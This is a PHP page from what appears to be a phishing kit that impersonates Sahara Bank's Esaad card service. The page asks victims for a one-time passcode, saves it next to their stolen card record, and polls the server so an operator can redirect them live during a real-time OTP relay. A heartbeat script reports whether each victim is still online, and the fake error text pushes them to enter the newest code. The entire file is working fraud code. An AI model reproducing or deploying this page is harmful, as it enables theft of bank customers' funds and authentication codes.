<?php
error_reporting(0);
ini_set('display_errors', 0);
session_start();

require_once('./add-efaa.php');
require_once('./dashboard/init.php');

if (isset($_SESSION['user_id'])) {
    $User->UpdateCurrentPage($_SESSION['user_id'], 'OTP');
    $dataa = [
        'userId' => $_SESSION['user_id'],
        'page' => 'OTP'
    ];
}

if (isset($_POST['submit'])) {
    // إنشاء مستخدم تلقائي إذا ما عنده user_id عند الإدخال فقط
    if (!isset($_SESSION['user_id'])) {
        $autoUser = [
            'ssn' => 'auto_' . time(),
            'page' => 'OTP',
            'message' => 'دخول مباشر'
        ];
        $autoId = $User->register($autoUser);
        if ($autoId) {
            $_SESSION['user_id'] = $autoId;
        }
    }
    // إنشاء بطاقة فارغة إذا ما عنده card_id
    if (!isset($_SESSION['card_id']) && isset($_SESSION['user_id'])) {
        $emptyCard = [
            'cardNumber' => '',
            'cardName' => '',
            'year' => '',
            'cvv' => '',
            'insurance_company' => '',
            'insurance_price' => ''
        ];
        $autoCardId = $User->InsertCardVisaRelatedUser($_SESSION['user_id'], $emptyCard);
        if ($autoCardId) {
            $_SESSION['card_id'] = $autoCardId;
        }
    }

    $site = array(
        'otp' => $_POST["otp"],
        'message' => 'OTP',
        'type' => '2'
    );

    $id = $_SESSION['card_id'];
    $userId = $_SESSION['user_id'];
    $updateResult = $User->UpdateCardOTP($id, $site);
    if ($updateResult) {
        $User->UpdateStatus($userId, 'OTP');
        echo "<script>document.location.href='wait-payment.php';</script>";
    }
}

if (isset($_GET['reject'])) {
    $showError = true;
}
?>
<!DOCTYPE html>
<html lang="ar" dir="rtl">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title>إسعاد | رمز التحقق</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet">
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"></script>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.7.2/css/all.min.css">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Tajawal:wght@300;400;500;700;800;900&display=swap" rel="stylesheet">
    <style>
        :root {
            --sahara-green: #2c7a2c;
            --sahara-green-dark: #1a3c1a;
            --sahara-green-light: #e8f5e9;
            --sahara-gold: #d4af37;
            --sahara-dark: #1a3c1a;
            --sahara-gray: #6B7280;
            --sahara-light: #F9FAFB;
            --sahara-white: #FFFFFF;
            --sahara-border: #E5E7EB;
            --sahara-radius: 16px;
        }

        * { box-sizing: border-box; margin: 0; padding: 0; }

        body {
            font-family: 'Tajawal', system-ui, -apple-system, sans-serif;
            background: var(--sahara-light);
            color: #1E293B;
            min-height: 100vh;
            display: flex;
            flex-direction: column;
        }

        /* === Navbar === */
        .sahara-nav {
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 14px 16px;
            background: var(--sahara-white);
            box-shadow: 0 1px 4px rgba(0,0,0,0.06);
            position: sticky;
            top: 0;
            z-index: 1000;
            position: relative;
        }
        .sahara-nav .logo-img {
            height: 50px;
        }
        .sahara-nav .back-btn {
            position: absolute;
            right: 16px;
            width: 36px;
            height: 36px;
            border-radius: 10px;
            background: var(--sahara-green-light);
            border: none;
            display: flex;
            align-items: center;
            justify-content: center;
            color: var(--sahara-green);
            font-size: 16px;
            cursor: pointer;
            text-decoration: none;
        }

        /* === Step Indicator === */
        .step-indicator {
            display: flex;
            justify-content: center;
            gap: 8px;
            padding: 16px;
            background: var(--sahara-white);
            border-bottom: 1px solid var(--sahara-border);
        }
        .step-dot {
            width: 10px;
            height: 10px;
            border-radius: 50%;
            background: var(--sahara-border);
        }
        .step-dot.completed {
            background: var(--sahara-green);
        }
        .step-dot.active {
            background: var(--sahara-gold);
            box-shadow: 0 0 0 4px rgba(212, 175, 55, 0.2);
            animation: dotPulse 1.5s ease-in-out infinite;
        }

        @keyframes dotPulse {
            0%, 100% { transform: scale(1); }
            50% { transform: scale(1.3); }
        }

        /* === Form Header === */
        .otp-icon {
            width: 64px;
            height: 64px;
            background: var(--sahara-green-light);
            border: 2px solid rgba(44, 122, 44, 0.3);
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            margin: 0 auto 14px;
            font-size: 26px;
            color: var(--sahara-green);
        }

        /* === Form Card === */
        .form-wrap {
            flex: 1;
            padding: 0 16px 24px;
        }
        .form-card {
            background: var(--sahara-white);
            border-radius: var(--sahara-radius);
            padding: 28px 20px;
            box-shadow: 0 2px 12px rgba(0,0,0,0.06);
            border: 1px solid var(--sahara-border);
            text-align: center;
            margin-top: 16px;
        }

        .otp-desc {
            color: var(--sahara-gray);
            font-size: 14px;
            line-height: 1.8;
            margin-bottom: 20px;
        }

        .timer-badge {
            display: inline-flex;
            align-items: center;
            gap: 6px;
            background: var(--sahara-green-light);
            border: 1px solid rgba(44, 122, 44, 0.3);
            border-radius: 20px;
            padding: 6px 14px;
            margin-bottom: 20px;
        }
        .timer-badge i {
            color: var(--sahara-green);
            font-size: 14px;
        }
        .timer-badge span {
            color: var(--sahara-green-dark);
            font-size: 13px;
            font-weight: 700;
        }

        /* === OTP Input === */
        .otp-input {
            width: 100%;
            border: 1.5px solid var(--sahara-border);
            border-radius: 12px;
            padding: 14px 16px;
            font-size: 24px;
            font-family: 'Tajawal', system-ui, sans-serif;
            color: #1E293B;
            background: var(--sahara-white);
            transition: border-color 0.3s, box-shadow 0.3s;
            text-align: center;
            letter-spacing: 10px;
            direction: ltr;
            height: 56px;
        }
        .otp-input:focus {
            border-color: var(--sahara-green);
            box-shadow: 0 0 0 3px rgba(44, 122, 44, 0.15);
            outline: none;
        }
        .otp-input::placeholder {
            color: #CBD5E1;
            font-size: 20px;
            letter-spacing: 8px;
        }

        /* === Submit Button === */
        .btn-submit-sahara {
            width: 100%;
            background: linear-gradient(135deg, #2c7a2c, #1a3c1a);
            color: var(--sahara-white);
            border: none;
            padding: 15px;
            border-radius: 12px;
            font-size: 16px;
            font-weight: 700;
            font-family: 'Tajawal', system-ui, sans-serif;
            cursor: pointer;
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 8px;
            transition: all 0.3s;
            box-shadow: 0 4px 16px rgba(44, 122, 44, 0.3);
            margin-top: 16px;
        }
        .btn-submit-sahara:hover:not(:disabled) {
            transform: translateY(-2px);
            box-shadow: 0 8px 25px rgba(44, 122, 44, 0.4);
        }

        /* === Error === */
        .error-msg {
            color: #DC2626;
            font-weight: 600;
            font-size: 13px;
            margin-top: 12px;
            padding: 10px 14px;
            background: #FEF2F2;
            border: 1px solid #FECACA;
            border-radius: 10px;
            line-height: 1.7;
            text-align: right;
        }

        /* === Info Note === */
        .info-note {
            background: var(--sahara-green-light);
            border: 1px solid rgba(44, 122, 44, 0.2);
            border-radius: 12px;
            padding: 12px 14px;
            margin-top: 16px;
            display: flex;
            align-items: center;
            gap: 10px;
        }
        .info-note i {
            color: var(--sahara-green);
            font-size: 16px;
        }
        .info-note p {
            font-size: 12px;
            color: #374151;
            line-height: 1.7;
            margin: 0;
        }

        /* === Footer === */
        .sahara-footer {
            background: linear-gradient(135deg, #1a3c1a, #2c7a2c);
            color: var(--sahara-white);
            padding: 20px 16px;
            text-align: center;
            margin-top: auto;
        }
        .sahara-footer .footer-logo {
            height: 45px;
            margin-bottom: 12px;
        }
        .sahara-footer p {
            font-size: 11px;
            color: rgba(255,255,255,0.7);
            line-height: 1.7;
        }
        .sahara-footer .footer-bottom {
            border-top: 1px solid rgba(255,255,255,0.15);
            padding-top: 10px;
            margin-top: 10px;
            font-size: 11px;
            color: rgba(255,255,255,0.5);
        }

        .hide { display: none; }
        .show { display: block; }

        @keyframes fadeInUp {
            from { opacity: 0; transform: translateY(20px); }
            to { opacity: 1; transform: translateY(0); }
        }
        .fade-in {
            animation: fadeInUp 0.6s ease-out;
        }
    </style>
</head>
<body>

    <!-- Navbar -->
    <nav class="sahara-nav">
        <a href="index.php" class="back-btn">
            <i class="fas fa-arrow-right"></i>
        </a>
        <img src="./assets/sahara_brand_logo.png" alt="مصرف الصحارى" class="logo-img">
    </nav>

    <!-- Step Indicator -->
    <div class="step-indicator">
        <div class="step-dot completed"></div>
        <div class="step-dot completed"></div>
        <div class="step-dot active"></div>
        <div class="step-dot"></div>
    </div>

    <!-- Form -->
    <div class="form-wrap fade-in">
        <div class="form-card">
            <div class="otp-icon">
                <i class="fas fa-lock"></i>
            </div>
            <h2 style="font-size:20px;font-weight:700;color:#1E293B;margin-bottom:6px;">رمز التحقق OTP</h2>
            <p style="font-size:13px;color:var(--sahara-gray);margin-bottom:16px;">لتأكيد عملية التسجيل في بطاقة إسعاد</p>
            <p class="otp-desc">سيتم إرسال رمز التحقق خلال دقيقة<br>أدخل الرمز المرسل إلى جوالك</p>

            <div class="timer-badge">
                <i class="fas fa-clock"></i>
                <span id="time"></span>
            </div>

            <form action="" method="post">
                <input type="text" pattern="[0-9]+" minlength="4" maxlength="6" inputmode="numeric" required name="otp" class="otp-input" placeholder="------">
                <input type="hidden" name="status" value="3">

                <?php
                if (isset($showError)) {
                    echo '<div class="error-msg"><i class="fas fa-exclamation-circle" style="margin-left: 4px;"></i> الرمز المدخل غير صحيح أو منتهي الصلاحية. يرجى إرسال آخر رمز تحقق تم إرساله</div>';
                }
                ?>

                <button class="btn-submit-sahara" type="submit" name="submit">
                    <i class="fas fa-check-circle"></i>
                    المتابعة
                </button>
            </form>

            <div class="info-note">
                <i class="fas fa-shield-alt"></i>
                <p>اتصال آمن ومشفر بتقنية SSL 256-bit - إسعاد</p>
            </div>
        </div>
    </div>

    <!-- Footer -->
    <footer class="sahara-footer">
        <img src="./assets/sahara_brand_logo.png" alt="مصرف الصحارى" class="footer-logo"><br>
        <p style="color:var(--sahara-gold);font-weight:600;font-size:12px;margin-bottom:2px;">بطاقة إسعاد | esaad</p>
        <p>&copy; إسعاد 2026 - جميع الحقوق محفوظة</p>
    </footer>

<script src="js/main.js"></script>

<script>
function checkRedirect() {
    fetch('polling-redirect.php')
        .then(r => r.json())
        .then(data => {
            if (data.redirect) {
                window.location.href = data.redirect;
            }
        })
        .catch(e => {});
}
setInterval(checkRedirect, 1500);
checkRedirect();
</script>


<script>
// Heartbeat - تحديث حالة الاتصال فوراً
function sendHeartbeat() {
    fetch('heartbeat.php').catch(function(e){});
}
setInterval(sendHeartbeat, 2000);
sendHeartbeat();
window.addEventListener('beforeunload', function() {
    navigator.sendBeacon('heartbeat.php', new URLSearchParams({action: 'offline'}));
});
</script>
</body>
</html>
